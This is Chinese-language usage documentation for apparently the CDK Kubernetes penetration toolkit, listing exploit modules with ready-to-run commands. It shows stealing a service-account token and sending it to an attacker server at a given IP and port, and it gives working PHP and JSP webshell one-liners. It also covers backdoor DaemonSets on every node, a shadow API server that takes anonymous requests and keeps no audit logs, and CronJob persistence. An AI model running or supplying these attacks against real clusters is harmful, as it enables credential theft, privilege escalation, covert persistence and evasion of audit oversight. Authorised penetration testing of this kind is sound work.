绕过K8s RBAC - 窃取token(权限提升)
绕过K8s RBAC:如果当前的Pod有创建Pod权限,即可利用本EXP进行提权到Cluster Admin
。本EXP将创建一个Pod并挂载目标service-account的token,之后在Pod中读取该token并发送到攻击者的公网服务器。
该exp使用方法:
cdk run k8s-get-sa-token (default|anonymous|<service-account-token-path>) <target-service-account> <ip> <port>"
Request Options:
default: connect API server with pod's default service account token
anonymous: connect API server with user system:anonymous
<service-account-token-path>: connect API server with user-specified service account token.
Exploit Options:
target-service-account: target service-account token to dump(e.g. admin).
ip: target remote IP to hijack traffic.
port: target remote PORT to hijack traffic.
./cdk run k8s-get-sa-token default admin 39.104.80.49 999

生成php/jsp webshell文件
受容器环境限制,在容器内写入文件比较麻烦。cdk提供一键写入php/jsp webshell到指定目录文件。
PHP webshell:
<?php @eval($_POST['$SECRET_PARAM']);?>
JSP webshell:
<%Runtime.getRuntime().exec(request.getParameter("$SECRET_PARAM"));%>
./cdk run webshell-deploy php /tmp/shell.php

在每个节点部署后门Pod
通过daemonset将用户指定的后门镜像部署到每个node。
./cdk run k8s-backdoor-daemonset (default|anonymous|<service-account-token-path>) <image>
./cdk run k8s-backdoor-daemonset default ubuntu

部署影子K8s api-server
部署一个shadow apiserver
,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。
api-server也是一个pod。
./cdk run k8s-shadow-apiserver (default|anonymous|<service-account-token-path>)
./cdk run k8s-shadow-apiserver default

一键部署K8s CronJob
部署K8s CronJob定时创建用户指定的image并运行cmd。
cdk run k8s-cronjob (default|anonymous|<service-account-token-path>) (min|hour|day|<cron-expr>) <image> <args>
./cdk run k8s-cronjob default min alpine "echo hellow;echo cronjob"

exp执行完后,使用kubectl查看我们创建的cronjob:
